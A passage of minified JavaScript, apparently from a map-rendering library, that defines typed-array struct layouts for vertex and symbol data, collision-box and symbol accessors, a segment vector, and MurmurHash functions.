this.resize(me+1),this.emplace(me,ee,ce)},D.prototype.emplace=function(ee,ce,me){var Se=ee*2;return this.int16[Se+0]=ce,this.int16[Se+1]=me,ee},D}(Oa);yf.prototype.bytesPerElement=4,se("StructArrayLayout2i4",yf);var _l=function(R){function D(){R.apply(this,arguments)}return R&&(D.__proto__=R),D.prototype=Object.create(R&&R.prototype),D.prototype.constructor=D,D.prototype._refreshViews=function(){this.uint8=new Uint8Array(this.arrayBuffer),this.int16=new Int16Array(this.arrayBuffer)},D.prototype.emplaceBack=function(ee,ce,me,Se){var We=this.length;return this.resize(We+1),this.emplace(We,ee,ce,me,Se)},D.prototype.emplace=function(ee,ce,me,Se,We){var at=ee*4;return this.int16[at+0]=ce,this.int16[at+1]=me,this.int16[at+2]=Se,this.int16[at+3]=We,ee},D}(Oa);_l.prototype.bytesPerElement=8,se("StructArrayLayout4i8",_l);var Nu=function(R){function D(){R.apply(this,arguments)}return R&&(D.__proto__=R),D.prototype=Object.create(R&&R.prototype),D.prototype.constructor=D,D.prototype._refreshViews=function(){this.uint8=new Uint8Array(this.arrayBuffer),this.int16=new Int16Array(this.arrayBuffer)},D.prototype.emplaceBack=function(ee,ce,me,Se,We,at){var dt=this.length;return this.resize(dt+1),this.emplace(dt,ee,ce,me,Se,We,at)},D.prototype.emplace=function(ee,ce,me,Se,We,at,dt){var xt=ee*6;return this.int16[xt+0]=ce,this.int16[xt+1]=me,this.int16[xt+2]=Se,this.int16[xt+3]=We,this.int16[xt+4]=at,this.int16[xt+5]=dt,ee},D}(Oa);Nu.prototype.bytesPerElement=12,se("StructArrayLayout2i4i12",Nu);var Lf=function(R){function D(){R.apply(this,arguments)}return R&&(D.__proto__=R),D.prototype=Object.create(R&&R.prototype),D.prototype.constructor=D,D.prototype._refreshViews=function(){this.uint8=new Uint8Array(this.arrayBuffer),this.int16=new Int16Array(this.arrayBuffer)},D.prototype.emplaceBack=function(ee,ce,me,Se,We,at){var dt=this.length;return this.resize(dt+1),this.emplace(dt,ee,ce,me,Se,We,at)},D.prototype.emplace=function(ee,ce,me,Se,We,at,dt){var xt=ee*4,Bt=ee*8;return this.int16[xt+0]=ce,this.int16[xt+1]=me,this.uint8[Bt+4]=Se,this.uint8[Bt+5]=We,this.uint8[Bt+6]=at,this.uint8[Bt+7]=dt,ee},D}(Oa);Lf.prototype.bytesPerElement=8,se("StructArrayLayout2i4ub8",Lf);var So=function(R){function D(){R.apply(this,arguments)}return R&&(D.__proto__=R),D.prototype=Object.create(R&&R.prototype),D.prototype.constructor=D,D.prototype._refreshViews=function(){this.uint8=new Uint8Array(this.arrayBuffer),this.uint16=new Uint16Array(this.arrayBuffer)},D.prototype.emplaceBack=function(ee,ce,me,Se,We,at,dt,xt,Bt,qt){var Zt=this.length;return this.resize(Zt+1),this.emplace(Zt,ee,ce,me,Se,We,at,dt,xt,Bt,qt)},D.prototype.emplace=function(ee,ce,me,Se,We,at,dt,xt,Bt,qt,Zt){var vr=ee*9,kr=ee*18;return this.uint16[vr+0]=ce,this.uint16[vr+1]=me,this.uint16[vr+2]=Se,this.uint16[vr+3]=We,this.uint16[vr+4]=at,this.uint16[vr+5]=dt,this.uint16[vr+6]=xt,this.uint16[vr+7]=Bt,this.uint8[kr+16]=qt,this.uint8[kr+17]=Zt,ee},D}(Oa);So.prototype.bytesPerElement=18,se("StructArrayLayout8ui2ub18",So);var zl=function(R){function D(){R.apply(this,arguments)}return R&&(D.__proto__=R),D.prototype=Object.create(R&&R.prototype),D.prototype.constructor=D,D.prototype._refreshViews=function(){this.uint8=new Uint8Array(this.arrayBuffer),this.int16=new Int16Array(this.arrayBuffer),this.uint16=new Uint16Array(this.arrayBuffer)},D.prototype.emplaceBack=function(ee,ce,me,Se,We,at,dt,xt,Bt,qt,Zt,vr){var kr=this.length;return this.resize(kr+1),this.emplace(kr,ee,ce,me,Se,We,at,dt,xt,Bt,qt,Zt,vr)},D.prototype.emplace=function(ee,ce,me,Se,We,at,dt,xt,Bt,qt,Zt,vr,kr){var Jr=ee*12;return this.int16[Jr+0]=ce,this.int16[Jr+1]=me,this.int16[Jr+2]=Se,this.int16[Jr+3]=We,this.uint16[Jr+4]=at,this.uint16[Jr+5]=dt,this.uint16[Jr+6]=xt,this.uint16[Jr+7]=Bt,this.int16[Jr+8]=qt,this.int16[Jr+9]=Zt,this.int16[Jr+10]=vr,this.int16[Jr+11]=kr,ee},D}(Oa);zl.prototype.bytesPerElement=24,se("StructArrayLayout4i4ui4i24",zl);var ec=function(R){function D(){R.apply(this,arguments)}return R&&(D.__proto__=R),D.prototype=Object.create(R&&R.prototype),D.prototype.constructor=D,D.prototype._refreshViews=function(){this.uint8=new Uint8Array(this.arrayBuffer),this.float32=new Float32Array(this.arrayBuffer)},D.prototype.emplaceBack=function(ee,ce,me){var Se=this.length;return this.resize(Se+1),this.emplace(Se,ee,ce,me)},D.prototype.emplace=function(ee,ce,me,Se){var We=ee*3;return this.float32[We+0]=ce,this.float32[We+1]=me,this.float32[We+2]=Se,ee},D}(Oa);ec.prototype.bytesPerElement=12,se("StructArrayLayout3f12",ec);var tc=function(R){function D(){R.apply(this,arguments)}return R&&(D.__proto__=R),D.prototype=Object.create(R&&R.prototype),D.prototype.constructor=D,D.prototype._refreshViews=function(){this.uint8=new Uint8Array(this.arrayBuffer),this.uint32=new Uint32Array(this.arrayBuffer)},D.prototype.emplaceBack=function(ee){var ce=this.length;return this.resize(ce+1),this.emplace(ce,ee)},D.prototype.emplace=function(ee,ce){var me=ee*1;return this.uint32[me+0]=ce,ee},D}(Oa);tc.prototype.bytesPerElement=4,se("StructArrayLayout1ul4",tc);var mf=function(R){function D(){R.apply(this,arguments)}return R&&(D.__proto__=R),D.prototype=Object.create(R&&R.prototype),D.prototype.constructor=D,D.prototype._refreshViews=function(){this.uint8=new Uint8Array(this.arrayBuffer),this.int16=new Int16Array(this.arrayBuffer),this.uint32=new Uint32Array(this.arrayBuffer),this.uint16=new Uint16Array(this.arrayBuffer)},D.prototype.emplaceBack=function(ee,ce,me,Se,We,at,dt,xt,Bt){var qt=this.length;return this.resize(qt+1),this.emplace(qt,ee,ce,me,Se,We,at,dt,xt,Bt)},D.prototype.emplace=function(ee,ce,me,Se,We,at,dt,xt,Bt,qt){var Zt=ee*10,vr=ee*5;return this.int16[Zt+0]=ce,this.int16[Zt+1]=me,this.int16[Zt+2]=Se,this.int16[Zt+3]=We,this.int16[Zt+4]=at,this.int16[Zt+5]=dt,this.uint32[vr+3]=xt,this.uint16[Zt+8]=Bt,this.uint16[Zt+9]=qt,ee},D}(Oa);mf.prototype.bytesPerElement=20,se("StructArrayLayout6i1ul2ui20",mf);var Pf=function(R){function D(){R.apply(this,arguments)}return R&&(D.__proto__=R),D.prototype=Object.create(R&&R.prototype),D.prototype.constructor=D,D.prototype._refreshViews=function(){this.uint8=new Uint8Array(this.arrayBuffer),this.int16=new Int16Array(this.arrayBuffer)},D.prototype.emplaceBack=function(ee,ce,me,Se,We,at){var dt=this.length;return this.resize(dt+1),this.emplace(dt,ee,ce,me,Se,We,at)},D.prototype.emplace=function(ee,ce,me,Se,We,at,dt){var xt=ee*6;return this.int16[xt+0]=ce,this.int16[xt+1]=me,this.int16[xt+2]=Se,this.int16[xt+3]=We,this.int16[xt+4]=at,this.int16[xt+5]=dt,ee},D}(Oa);Pf.prototype.bytesPerElement=12,se("StructArrayLayout2i2i2i12",Pf);var cl=function(R){function D(){R.apply(this,arguments)}return R&&(D.__proto__=R),D.prototype=Object.create(R&&R.prototype),D.prototype.constructor=D,D.prototype._refreshViews=function(){this.uint8=new Uint8Array(this.arrayBuffer),this.float32=new Float32Array(this.arrayBuffer),this.int16=new Int16Array(this.arrayBuffer)},D.prototype.emplaceBack=function(ee,ce,me,Se,We){var at=this.length;return this.resize(at+1),this.emplace(at,ee,ce,me,Se,We)},D.prototype.emplace=function(ee,ce,me,Se,We,at){var dt=ee*4,xt=ee*8;return this.float32[dt+0]=ce,this.float32[dt+1]=me,this.float32[dt+2]=Se,this.int16[xt+6]=We,this.int16[xt+7]=at,ee},D}(Oa);cl.prototype.bytesPerElement=16,se("StructArrayLayout2f1f2i16",cl);var Bo=function(R){function D(){R.apply(this,arguments)}return R&&(D.__proto__=R),D.prototype=Object.create(R&&R.prototype),D.prototype.constructor=D,D.prototype._refreshViews=function(){this.uint8=new Uint8Array(this.arrayBuffer),this.float32=new Float32Array(this.arrayBuffer)},D.prototype.emplaceBack=function(ee,ce,me,Se){var We=this.length;return this.resize(We+1),this.emplace(We,ee,ce,me,Se)},D.prototype.emplace=function(ee,ce,me,Se,We){var at=ee*12,dt=ee*3;return this.uint8[at+0]=ce,this.uint8[at+1]=me,this.float32[dt+1]=Se,this.float32[dt+2]=We,ee},D}(Oa);Bo.prototype.bytesPerElement=12,se("StructArrayLayout2ub2f12",Bo);var hl=function(R){function D(){R.apply(this,arguments)}return R&&(D.__proto__=R),D.prototype=Object.create(R&&R.prototype),D.prototype.constructor=D,D.prototype._refreshViews=function(){this.uint8=new Uint8Array(this.arrayBuffer),this.uint16=new Uint16Array(this.arrayBuffer)},D.prototype.emplaceBack=function(ee,ce,me){var Se=this.length;return this.resize(Se+1),this.emplace(Se,ee,ce,me)},D.prototype.emplace=function(ee,ce,me,Se){var We=ee*3;return this.uint16[We+0]=ce,this.uint16[We+1]=me,this.uint16[We+2]=Se,ee},D}(Oa);hl.prototype.bytesPerElement=6,se("StructArrayLayout3ui6",hl);var xf=function(R){function D(){R.apply(this,arguments)}return R&&(D.__proto__=R),D.prototype=Object.create(R&&R.prototype),D.prototype.constructor=D,D.prototype._refreshViews=function(){this.uint8=new Uint8Array(this.arrayBuffer),this.int16=new Int16Array(this.arrayBuffer),this.uint16=new Uint16Array(this.arrayBuffer),this.uint32=new Uint32Array(this.arrayBuffer),this.float32=new Float32Array(this.arrayBuffer)},D.prototype.emplaceBack=function(ee,ce,me,Se,We,at,dt,xt,Bt,qt,Zt,vr,kr,Jr,Zr,mn,hn){var yn=this.length;return this.resize(yn+1),this.emplace(yn,ee,ce,me,Se,We,at,dt,xt,Bt,qt,Zt,vr,kr,Jr,Zr,mn,hn)},D.prototype.emplace=function(ee,ce,me,Se,We,at,dt,xt,Bt,qt,Zt,vr,kr,Jr,Zr,mn,hn,yn){var Cn=ee*24,_n=ee*12,Yn=ee*48;return this.int16[Cn+0]=ce,this.int16[Cn+1]=me,this.uint16[Cn+2]=Se,this.uint16[Cn+3]=We,this.uint32[_n+2]=at,this.uint32[_n+3]=dt,this.uint32[_n+4]=xt,this.uint16[Cn+10]=Bt,this.uint16[Cn+11]=qt,this.uint16[Cn+12]=Zt,this.float32[_n+7]=vr,this.float32[_n+8]=kr,this.uint8[Yn+36]=Jr,this.uint8[Yn+37]=Zr,this.uint8[Yn+38]=mn,this.uint32[_n+10]=hn,this.int16[Cn+22]=yn,ee},D}(Oa);xf.prototype.bytesPerElement=48,se("StructArrayLayout2i2ui3ul3ui2f3ub1ul1i48",xf);var Rf=function(R){function D(){R.apply(this,arguments)}return R&&(D.__proto__=R),D.prototype=Object.create(R&&R.prototype),D.prototype.constructor=D,D.prototype._refreshViews=function(){this.uint8=new Uint8Array(this.arrayBuffer),this.int16=new Int16Array(this.arrayBuffer),this.uint16=new Uint16Array(this.arrayBuffer),this.uint32=new Uint32Array(this.arrayBuffer),this.float32=new Float32Array(this.arrayBuffer)},D.prototype.emplaceBack=function(ee,ce,me,Se,We,at,dt,xt,Bt,qt,Zt,vr,kr,Jr,Zr,mn,hn,yn,Cn,_n,Yn,Gn,ga,aa,ua,Pa,va,da){var _a=this.length;return this.resize(_a+1),this.emplace(_a,ee,ce,me,Se,We,at,dt,xt,Bt,qt,Zt,vr,kr,Jr,Zr,mn,hn,yn,Cn,_n,Yn,Gn,ga,aa,ua,Pa,va,da)},D.prototype.emplace=function(ee,ce,me,Se,We,at,dt,xt,Bt,qt,Zt,vr,kr,Jr,Zr,mn,hn,yn,Cn,_n,Yn,Gn,ga,aa,ua,Pa,va,da,_a){var Ea=ee*34,Ya=ee*17;return this.int16[Ea+0]=ce,this.int16[Ea+1]=me,this.int16[Ea+2]=Se,this.int16[Ea+3]=We,this.int16[Ea+4]=at,this.int16[Ea+5]=dt,this.int16[Ea+6]=xt,this.int16[Ea+7]=Bt,this.uint16[Ea+8]=qt,this.uint16[Ea+9]=Zt,this.uint16[Ea+10]=vr,this.uint16[Ea+11]=kr,this.uint16[Ea+12]=Jr,this.uint16[Ea+13]=Zr,this.uint16[Ea+14]=mn,this.uint16[Ea+15]=hn,this.uint16[Ea+16]=yn,this.uint16[Ea+17]=Cn,this.uint16[Ea+18]=_n,this.uint16[Ea+19]=Yn,this.uint16[Ea+20]=Gn,this.uint16[Ea+21]=ga,this.uint16[Ea+22]=aa,this.uint32[Ya+12]=ua,this.float32[Ya+13]=Pa,this.float32[Ya+14]=va,this.float32[Ya+15]=da,this.float32[Ya+16]=_a,ee},D}(Oa);Rf.prototype.bytesPerElement=68,se("StructArrayLayout8i15ui1ul4f68",Rf);var Uu=function(R){function D(){R.apply(this,arguments)}return R&&(D.__proto__=R),D.prototype=Object.create(R&&R.prototype),D.prototype.constructor=D,D.prototype._refreshViews=function(){this.uint8=new Uint8Array(this.arrayBuffer),this.float32=new Float32Array(this.arrayBuffer)},D.prototype.emplaceBack=function(ee){var ce=this.length;return this.resize(ce+1),this.emplace(ce,ee)},D.prototype.emplace=function(ee,ce){var me=ee*1;return this.float32[me+0]=ce,ee},D}(Oa);Uu.prototype.bytesPerElement=4,se("StructArrayLayout1f4",Uu);var rc=function(R){function D(){R.apply(this,arguments)}return R&&(D.__proto__=R),D.prototype=Object.create(R&&R.prototype),D.prototype.constructor=D,D.prototype._refreshViews=function(){this.uint8=new Uint8Array(this.arrayBuffer),this.int16=new Int16Array(this.arrayBuffer)},D.prototype.emplaceBack=function(ee,ce,me){var Se=this.length;return this.resize(Se+1),this.emplace(Se,ee,ce,me)},D.prototype.emplace=function(ee,ce,me,Se){var We=ee*3;return this.int16[We+0]=ce,this.int16[We+1]=me,this.int16[We+2]=Se,ee},D}(Oa);rc.prototype.bytesPerElement=6,se("StructArrayLayout3i6",rc);var Fl=function(R){function D(){R.apply(this,arguments)}return R&&(D.__proto__=R),D.prototype=Object.create(R&&R.prototype),D.prototype.constructor=D,D.prototype._refreshViews=function(){this.uint8=new Uint8Array(this.arrayBuffer),this.uint32=new Uint32Array(this.arrayBuffer),this.uint16=new Uint16Array(this.arrayBuffer)},D.prototype.emplaceBack=function(ee,ce,me){var Se=this.length;return this.resize(Se+1),this.emplace(Se,ee,ce,me)},D.prototype.emplace=function(ee,ce,me,Se){var We=ee*2,at=ee*4;return this.uint32[We+0]=ce,this.uint16[at+2]=me,this.uint16[at+3]=Se,ee},D}(Oa);Fl.prototype.bytesPerElement=8,se("StructArrayLayout1ul2ui8",Fl);var bf=function(R){function D(){R.apply(this,arguments)}return R&&(D.__proto__=R),D.prototype=Object.create(R&&R.prototype),D.prototype.constructor=D,D.prototype._refreshViews=function(){this.uint8=new Uint8Array(this.arrayBuffer),this.uint16=new Uint16Array(this.arrayBuffer)},D.prototype.emplaceBack=function(ee,ce){var me=this.length;return this.resize(me+1),this.emplace(me,ee,ce)},D.prototype.emplace=function(ee,ce,me){var Se=ee*2;return this.uint16[Se+0]=ce,this.uint16[Se+1]=me,ee},D}(Oa);bf.prototype.bytesPerElement=4,se("StructArrayLayout2ui4",bf);var Hu=function(R){function D(){R.apply(this,arguments)}return R&&(D.__proto__=R),D.prototype=Object.create(R&&R.prototype),D.prototype.constructor=D,D.prototype._refreshViews=function(){this.uint8=new Uint8Array(this.arrayBuffer),this.uint16=new Uint16Array(this.arrayBuffer)},D.prototype.emplaceBack=function(ee){var ce=this.length;return this.resize(ce+1),this.emplace(ce,ee)},D.prototype.emplace=function(ee,ce){var me=ee*1;return this.uint16[me+0]=ce,ee},D}(Oa);Hu.prototype.bytesPerElement=2,se("StructArrayLayout1ui2",Hu);var Ol=function(R){function D(){R.apply(this,arguments)}return R&&(D.__proto__=R),D.prototype=Object.create(R&&R.prototype),D.prototype.constructor=D,D.prototype._refreshViews=function(){this.uint8=new Uint8Array(this.arrayBuffer),this.float32=new Float32Array(this.arrayBuffer)},D.prototype.emplaceBack=function(ee,ce){var me=this.length;return this.resize(me+1),this.emplace(me,ee,ce)},D.prototype.emplace=function(ee,ce,me){var Se=ee*2;return this.float32[Se+0]=ce,this.float32[Se+1]=me,ee},D}(Oa);Ol.prototype.bytesPerElement=8,se("StructArrayLayout2f8",Ol);var nc=function(R){function D(){R.apply(this,arguments)}return R&&(D.__proto__=R),D.prototype=Object.create(R&&R.prototype),D.prototype.constructor=D,D.prototype._refreshViews=function(){this.uint8=new Uint8Array(this.arrayBuffer),this.float32=new Float32Array(this.arrayBuffer)},D.prototype.emplaceBack=function(ee,ce,me,Se){var We=this.length;return this.resize(We+1),this.emplace(We,ee,ce,me,Se)},D.prototype.emplace=function(ee,ce,me,Se,We){var at=ee*4;return this.float32[at+0]=ce,this.float32[at+1]=me,this.float32[at+2]=Se,this.float32[at+3]=We,ee},D}(Oa);nc.prototype.bytesPerElement=16,se("StructArrayLayout4f16",nc);var Tc=function(R){function D(){R.apply(this,arguments)}R&&(D.__proto__=R),D.prototype=Object.create(R&&R.prototype),D.prototype.constructor=D;var U={anchorPointX:{configurable:!0},anchorPointY:{configurable:!0},x1:{configurable:!0},y1:{configurable:!0},x2:{configurable:!0},y2:{configurable:!0},featureIndex:{configurable:!0},sourceLayerIndex:{configurable:!0},bucketIndex:{configurable:!0},anchorPoint:{configurable:!0}};return U.anchorPointX.get=function(){return this._structArray.int16[this._pos2+0]},U.anchorPointY.get=function(){return this._structArray.int16[this._pos2+1]},U.x1.get=function(){return this._structArray.int16[this._pos2+2]},U.y1.get=function(){return this._structArray.int16[this._pos2+3]},U.x2.get=function(){return this._structArray.int16[this._pos2+4]},U.y2.get=function(){return this._structArray.int16[this._pos2+5]},U.featureIndex.get=function(){return this._structArray.uint32[this._pos4+3]},U.sourceLayerIndex.get=function(){return this._structArray.uint16[this._pos2+8]},U.bucketIndex.get=function(){return this._structArray.uint16[this._pos2+9]},U.anchorPoint.get=function(){return new t(this.anchorPointX,this.anchorPointY)},Object.defineProperties(D.prototype,U),D}(ai);Tc.prototype.size=20;var Bl=function(R){function D(){R.apply(this,arguments)}return R&&(D.__proto__=R),D.prototype=Object.create(R&&R.prototype),D.prototype.constructor=D,D.prototype.get=function(ee){return new Tc(this,ee)},D}(mf);se("CollisionBoxArray",Bl);var ac=function(R){function D(){R.apply(this,arguments)}R&&(D.__proto__=R),D.prototype=Object.create(R&&R.prototype),D.prototype.constructor=D;var U={anchorX:{configurable:!0},anchorY:{configurable:!0},glyphStartIndex:{configurable:!0},numGlyphs:{configurable:!0},vertexStartIndex:{configurable:!0},lineStartIndex:{configurable:!0},lineLength:{configurable:!0},segment:{configurable:!0},lowerSize:{configurable:!0},upperSize:{configurable:!0},lineOffsetX:{configurable:!0},lineOffsetY:{configurable:!0},writingMode:{configurable:!0},placedOrientation:{configurable:!0},hidden:{configurable:!0},crossTileID:{configurable:!0},associatedIconIndex:{configurable:!0}};return U.anchorX.get=function(){return this._structArray.int16[this._pos2+0]},U.anchorY.get=function(){return this._structArray.int16[this._pos2+1]},U.glyphStartIndex.get=function(){return this._structArray.uint16[this._pos2+2]},U.numGlyphs.get=function(){return this._structArray.uint16[this._pos2+3]},U.vertexStartIndex.get=function(){return this._structArray.uint32[this._pos4+2]},U.lineStartIndex.get=function(){return this._structArray.uint32[this._pos4+3]},U.lineLength.get=function(){return this._structArray.uint32[this._pos4+4]},U.segment.get=function(){return this._structArray.uint16[this._pos2+10]},U.lowerSize.get=function(){return this._structArray.uint16[this._pos2+11]},U.upperSize.get=function(){return this._structArray.uint16[this._pos2+12]},U.lineOffsetX.get=function(){return this._structArray.float32[this._pos4+7]},U.lineOffsetY.get=function(){return this._structArray.float32[this._pos4+8]},U.writingMode.get=function(){return this._structArray.uint8[this._pos1+36]},U.placedOrientation.get=function(){return this._structArray.uint8[this._pos1+37]},U.placedOrientation.set=function(ee){this._structArray.uint8[this._pos1+37]=ee},U.hidden.get=function(){return this._structArray.uint8[this._pos1+38]},U.hidden.set=function(ee){this._structArray.uint8[this._pos1+38]=ee},U.crossTileID.get=function(){return this._structArray.uint32[this._pos4+10]},U.crossTileID.set=function(ee){this._structArray.uint32[this._pos4+10]=ee},U.associatedIconIndex.get=function(){return this._structArray.int16[this._pos2+22]},Object.defineProperties(D.prototype,U),D}(ai);ac.prototype.size=48;var Vu=function(R){function D(){R.apply(this,arguments)}return R&&(D.__proto__=R),D.prototype=Object.create(R&&R.prototype),D.prototype.constructor=D,D.prototype.get=function(ee){return new ac(this,ee)},D}(xf);se("PlacedSymbolArray",Vu);var Ac=function(R){function D(){R.apply(this,arguments)}R&&(D.__proto__=R),D.prototype=Object.create(R&&R.prototype),D.prototype.constructor=D;var U={anchorX:{configurable:!0},anchorY:{configurable:!0},rightJustifiedTextSymbolIndex:{configurable:!0},centerJustifiedTextSymbolIndex:{configurable:!0},leftJustifiedTextSymbolIndex:{configurable:!0},verticalPlacedTextSymbolIndex:{configurable:!0},placedIconSymbolIndex:{configurable:!0},verticalPlacedIconSymbolIndex:{configurable:!0},key:{configurable:!0},textBoxStartIndex:{configurable:!0},textBoxEndIndex:{configurable:!0},verticalTextBoxStartIndex:{configurable:!0},verticalTextBoxEndIndex:{configurable:!0},iconBoxStartIndex:{configurable:!0},iconBoxEndIndex:{configurable:!0},verticalIconBoxStartIndex:{configurable:!0},verticalIconBoxEndIndex:{configurable:!0},featureIndex:{configurable:!0},numHorizontalGlyphVertices:{configurable:!0},numVerticalGlyphVertices:{configurable:!0},numIconVertices:{configurable:!0},numVerticalIconVertices:{configurable:!0},useRuntimeCollisionCircles:{configurable:!0},crossTileID:{configurable:!0},textBoxScale:{configurable:!0},textOffset0:{configurable:!0},textOffset1:{configurable:!0},collisionCircleDiameter:{configurable:!0}};return U.anchorX.get=function(){return this._structArray.int16[this._pos2+0]},U.anchorY.get=function(){return this._structArray.int16[this._pos2+1]},U.rightJustifiedTextSymbolIndex.get=function(){return this._structArray.int16[this._pos2+2]},U.centerJustifiedTextSymbolIndex.get=function(){return this._structArray.int16[this._pos2+3]},U.leftJustifiedTextSymbolIndex.get=function(){return this._structArray.int16[this._pos2+4]},U.verticalPlacedTextSymbolIndex.get=function(){return this._structArray.int16[this._pos2+5]},U.placedIconSymbolIndex.get=function(){return this._structArray.int16[this._pos2+6]},U.verticalPlacedIconSymbolIndex.get=function(){return this._structArray.int16[this._pos2+7]},U.key.get=function(){return this._structArray.uint16[this._pos2+8]},U.textBoxStartIndex.get=function(){return this._structArray.uint16[this._pos2+9]},U.textBoxEndIndex.get=function(){return this._structArray.uint16[this._pos2+10]},U.verticalTextBoxStartIndex.get=function(){return this._structArray.uint16[this._pos2+11]},U.verticalTextBoxEndIndex.get=function(){return this._structArray.uint16[this._pos2+12]},U.iconBoxStartIndex.get=function(){return this._structArray.uint16[this._pos2+13]},U.iconBoxEndIndex.get=function(){return this._structArray.uint16[this._pos2+14]},U.verticalIconBoxStartIndex.get=function(){return this._structArray.uint16[this._pos2+15]},U.verticalIconBoxEndIndex.get=function(){return this._structArray.uint16[this._pos2+16]},U.featureIndex.get=function(){return this._structArray.uint16[this._pos2+17]},U.numHorizontalGlyphVertices.get=function(){return this._structArray.uint16[this._pos2+18]},U.numVerticalGlyphVertices.get=function(){return this._structArray.uint16[this._pos2+19]},U.numIconVertices.get=function(){return this._structArray.uint16[this._pos2+20]},U.numVerticalIconVertices.get=function(){return this._structArray.uint16[this._pos2+21]},U.useRuntimeCollisionCircles.get=function(){return this._structArray.uint16[this._pos2+22]},U.crossTileID.get=function(){return this._structArray.uint32[this._pos4+12]},U.crossTileID.set=function(ee){this._structArray.uint32[this._pos4+12]=ee},U.textBoxScale.get=function(){return this._structArray.float32[this._pos4+13]},U.textOffset0.get=function(){return this._structArray.float32[this._pos4+14]},U.textOffset1.get=function(){return this._structArray.float32[this._pos4+15]},U.collisionCircleDiameter.get=function(){return this._structArray.float32[this._pos4+16]},Object.defineProperties(D.prototype,U),D}(ai);Ac.prototype.size=68;var Mc=function(R){function D(){R.apply(this,arguments)}return R&&(D.__proto__=R),D.prototype=Object.create(R&&R.prototype),D.prototype.constructor=D,D.prototype.get=function(ee){return new Ac(this,ee)},D}(Rf);se("SymbolInstanceArray",Mc);var Es=function(R){function D(){R.apply(this,arguments)}return R&&(D.__proto__=R),D.prototype=Object.create(R&&R.prototype),D.prototype.constructor=D,D.prototype.getoffsetX=function(ee){return this.float32[ee*1+0]},D}(Uu);se("GlyphOffsetArray",Es);var Sc=function(R){function D(){R.apply(this,arguments)}return R&&(D.__proto__=R),D.prototype=Object.create(R&&R.prototype),D.prototype.constructor=D,D.prototype.getx=function(ee){return this.int16[ee*3+0]},D.prototype.gety=function(ee){return this.int16[ee*3+1]},D.prototype.gettileUnitDistanceFromAnchor=function(ee){return this.int16[ee*3+2]},D}(rc);se("SymbolLineVertexArray",Sc);var Ec=function(R){function D(){R.apply(this,arguments)}R&&(D.__proto__=R),D.prototype=Object.create(R&&R.prototype),D.prototype.constructor=D;var U={featureIndex:{configurable:!0},sourceLayerIndex:{configurable:!0},bucketIndex:{configurable:!0}};return U.featureIndex.get=function(){return this._structArray.uint32[this._pos4+0]},U.sourceLayerIndex.get=function(){return this._structArray.uint16[this._pos2+2]},U.bucketIndex.get=function(){return this._structArray.uint16[this._pos2+3]},Object.defineProperties(D.prototype,U),D}(ai);Ec.prototype.size=8;var ic=function(R){function D(){R.apply(this,arguments)}return R&&(D.__proto__=R),D.prototype=Object.create(R&&R.prototype),D.prototype.constructor=D,D.prototype.get=function(ee){return new Ec(this,ee)},D}(Fl);se("FeatureIndexArray",ic);var Cc=ui([{name:"a_pos",components:2,type:"Int16"}],4),ue=Cc.members,H=function(D){D===void 0&&(D=[]),this.segments=D};H.prototype.prepareSegment=function(D,U,ee,ce){var me=this.segments[this.segments.length-1];return D>H.MAX_VERTEX_ARRAY_LENGTH&&B("Max vertices per segment is "+H.MAX_VERTEX_ARRAY_LENGTH+": bucket requested "+D),(!me||me.vertexLength+D>H.MAX_VERTEX_ARRAY_LENGTH||me.sortKey!==ce)&&(me={vertexOffset:U.length,primitiveOffset:ee.length,vertexLength:0,primitiveLength:0},ce!==void 0&&(me.sortKey=ce),this.segments.push(me)),me},H.prototype.get=function(){return this.segments},H.prototype.destroy=function(){for(var D=0,U=this.segments;D<U.length;D+=1){var ee=U[D];for(var ce in ee.vaos)ee.vaos[ce].destroy()}},H.simpleSegment=function(D,U,ee,ce){return new H([{vertexOffset:D,primitiveOffset:U,vertexLength:ee,primitiveLength:ce,vaos:{},sortKey:0}])},H.MAX_VERTEX_ARRAY_LENGTH=Math.pow(2,16)-1,se("SegmentVector",H);function he(R,D){return R=s(Math.floor(R),0,255),D=s(Math.floor(D),0,255),256*R+D}var $=ui([{name:"a_pattern_from",components:4,type:"Uint16"},{name:"a_pattern_to",components:4,type:"Uint16"},{name:"a_pixel_ratio_from",components:1,type:"Uint8"},{name:"a_pixel_ratio_to",components:1,type:"Uint8"}]),ve=L(function(R){function D(U,ee){var ce,me,Se,We,at,dt,xt,Bt;for(ce=U.length&3,me=U.length-ce,Se=ee,at=3432918353,dt=461845907,Bt=0;Bt<me;)xt=U.charCodeAt(Bt)&255|(U.charCodeAt(++Bt)&255)<<8|(U.charCodeAt(++Bt)&255)<<16|(U.charCodeAt(++Bt)&255)<<24,++Bt,xt=(xt&65535)*at+(((xt>>>16)*at&65535)<<16)&4294967295,xt=xt<<15|xt>>>17,xt=(xt&65535)*dt+(((xt>>>16)*dt&65535)<<16)&4294967295,Se^=xt,Se=Se<<13|Se>>>19,We=(Se&65535)*5+(((Se>>>16)*5&65535)<<16)&4294967295,Se=(We&65535)+27492+(((We>>>16)+58964&65535)<<16);switch(xt=0,ce){case 3:xt^=(U.charCodeAt(Bt+2)&255)<<16;case 2:xt^=(U.charCodeAt(Bt+1)&255)<<8;case 1:xt^=U.charCodeAt(Bt)&255,xt=(xt&65535)*at+(((xt>>>16)*at&65535)<<16)&4294967295,xt=xt<<15|xt>>>17,xt=(xt&65535)*dt+(((xt>>>16)*dt&65535)<<16)&4294967295,Se^=xt}return Se^=U.length,Se^=Se>>>16,Se=(Se&65535)*2246822507+(((Se>>>16)*2246822507&65535)<<16)&4294967295,Se^=Se>>>13,Se=(Se&65535)*3266489909+(((Se>>>16)*3266489909&65535)<<16)&4294967295,Se^=Se>>>16,Se>>>0}R.exports=D}),Re=L(function(R){function D(U,ee){for(var ce=U.length,me=ee^ce,Se=0,We;ce>=4;)We=U.charCodeAt(Se)&255|(U.charCodeAt(++Se)&255)<<8|(U.charCodeAt(++Se)&255)<<16|(U.charCodeAt(++Se)&255)<<24,We=(We&65535)*1540483477+(((We>>>16)*1540483477&65535)<<16),We^=We>>>24,We=(We&65535)*1540483477+(((We>>>16)*1540483477&65535)<<16),me=(me&65535)*1540483477+(((me>>>16)*1540483477&65535)<<16)^We,ce-=4,++Se;switch(ce){case 3:me^=(U.charCodeAt(Se+2)&255)<<16;case 2:me^=(U.charCodeAt(Se+1)&255)<<8;case 1:me^=U.charCodeAt(Se)&255,me=(me&65535)*1540483477+(((me>>>16)*1540483477&65535)<<16)}return me^=me>>>13,me=(me&65535)*1540483477+(((me>>>16)*1540483477&65535)<<16),me^=me>>>15,me>>>0}R.exports=D}),He=ve,tt=ve,ht=Re;He.murmur3=tt,He.murmur2=ht;var 